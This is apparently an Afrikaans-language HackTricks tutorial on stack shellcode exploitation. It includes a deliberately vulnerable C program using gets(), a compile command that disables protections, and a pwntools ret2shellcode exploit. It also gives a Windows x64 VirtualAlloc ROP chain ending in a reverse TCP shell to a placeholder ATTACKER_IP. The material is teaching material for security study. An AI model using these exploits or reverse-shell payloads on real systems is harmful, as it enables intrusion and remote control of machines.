Stack Shellcode

Reading time: 8 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Stack shellcode is 'n tegniek wat in binary exploitation gebruik word waar 'n aanvaller shellcode op 'n kwesbare program se stack skryf en dan die Instruction Pointer (IP) of Extended Instruction Pointer (EIP) wysig om na die ligging van hierdie shellcode te wys, wat veroorsaak dat dit uitgevoer word. Dit is 'n klassieke metode wat gebruik word om ongemagtigde toegang te verkry of om arbitrêre opdragte op 'n teikenstelsel uit te voer. Hier is 'n uiteensetting van die proses, insluitend 'n eenvoudige C-voorbeeld en hoe jy 'n ooreenstemmende exploit met Python en pwntools kan skryf.

C Voorbeeld: 'n Kwesbare Program

Kom ons begin met 'n eenvoudige voorbeeld van 'n kwesbare C-program:

c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Hierdie program is kwesbaar vir 'n buffer overflow as gevolg van die gebruik van die gets() funksie.

Kompilering

Om hierdie program te kompileer terwyl verskeie beskermings gedeaktiveer word (om 'n kwesbare omgewing te simuleer), kan jy die volgende opdrag gebruik:

sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Skakel stack-beskerming af.
  • -z execstack: Maak die stack uitvoerbaar, wat nodig is om shellcode wat op die stack gestoor is, uit te voer.
  • -no-pie: Skakel Position Independent Executable af, wat dit makliker maak om die geheueadres te voorspel waar ons shellcode geleë sal wees.
  • -m32: Kompileer die program as 'n 32-bit uitvoerbare, dikwels gebruik vir eenvoud in exploit development.

Python Exploit met Pwntools

Hier is hoe jy 'n exploit in Python met pwntools kan skryf om 'n ret2shellcode aanval uit te voer:

python
from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Hierdie script bou 'n payload wat bestaan uit 'n NOP slide, die shellcode, en dan oor skryf die EIP met die adres wat na die NOP slide wys, om te verseker dat die shellcode uitgevoer word.

Die NOP slide (asm('nop')) word gebruik om die kans te verhoog dat uitvoering in ons shellcode "slide" ongeag die presiese adres. Pas die p32() argument aan na die beginadres van jou buffer plus 'n offset om in die NOP slide te land.

Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)

Op moderne Windows is die stack nie-uitvoerbaar (DEP/NX). 'n Algemene manier om steeds stack-resident shellcode na 'n stack BOF uit te voer is om 'n 64-bit ROP chain te bou wat VirtualAlloc (of VirtualProtect) vanaf die module Import Address Table (IAT) aanroep om 'n streek van die stack uitvoerbaar te maak en dan terug te keer in die shellcode wat na die chain aangeheg is.

Key points (Win64 calling convention):

  • VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
  • RCX = lpAddress → kies 'n adres in die huidige stack (bv. RSP) sodat die nuut toegewezen RWX-streek oorvleuel met jou payload
  • RDX = dwSize → groot genoeg vir jou chain + shellcode (bv. 0x1000)
  • R8 = flAllocationType = MEM_COMMIT (0x1000)
  • R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
  • Return directly into the shellcode placed right after the chain.

Minimal strategy:

  1. Leak a module base (e.g., via a format-string, object pointer, etc.) om absolute gadget- en IAT-adresse onder ASLR te bereken.
  2. Vind gadgets om RCX/RDX/R8/R9 te laai (pop of mov/xor-gebaseerde sequences) en 'n call/jmp [VirtualAlloc@IAT]. As jy nie direkte pop r8/r9 het nie, gebruik rekenkundige gadgets om konstantte te sintetiseer (bv. stel r8=0 en voeg herhaaldelik r9=0x40 by veertig keer om 0x1000 te bereik).
  3. Plaas stage-2 shellcode onmiddellik na die chain.

Example layout (conceptual):

# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET    # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----

Met 'n beperkte gadget set, kan jy registerwaardes indirek opstel, byvoorbeeld:

  • mov r9, rbx; mov r8, 0; add rsp, 8; ret → stel r9 uit rbx, maak r8 nul, en kompenseer die stack met 'n rommel qword.
  • xor rbx, rsp; ret → initialiseer rbx met die huidige stack pointer.
  • push rbx; pop rax; mov rcx, rax; ret → skuif RSP-afgeleide waarde na RCX.

Pwntools-skets (gegee 'n bekende base en gadgets):

python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000  # example: resolve via reversing
rop  = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))

Wenke:

  • VirtualProtect werk soortgelyk as dit verkieslik is om 'n bestaande buffer RX te maak; die parameterorde is anders.

  • As die stack space beperk is, ken RWX elders toe (RCX=NULL) en jmp na daardie nuwe region in plaas van die stack te hergebruik.

  • Rekening hou altyd met gadgets wat RSP aanpas (bv. add rsp, 8; ret) deur junk qwords in te voeg.

  • ASLR moet gedeaktiveer wees sodat die adres oor uitvoerings heen betroubaar is, anders sal die adres waar die funksie gestoor word nie altyd dieselfde wees nie en sal jy 'n leak nodig hê om uit te vind waar die win funksie gelaai is.

  • Stack Canaries moet ook gedeaktiveer wees, anders sal die gekompromitteerde EIP return address nooit gevolg word nie.

  • NX stack beskerming sal die uitvoering van die shellcode binne die stack voorkom omdat daardie region nie uitvoerbaar sal wees nie.

Other Examples & References

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks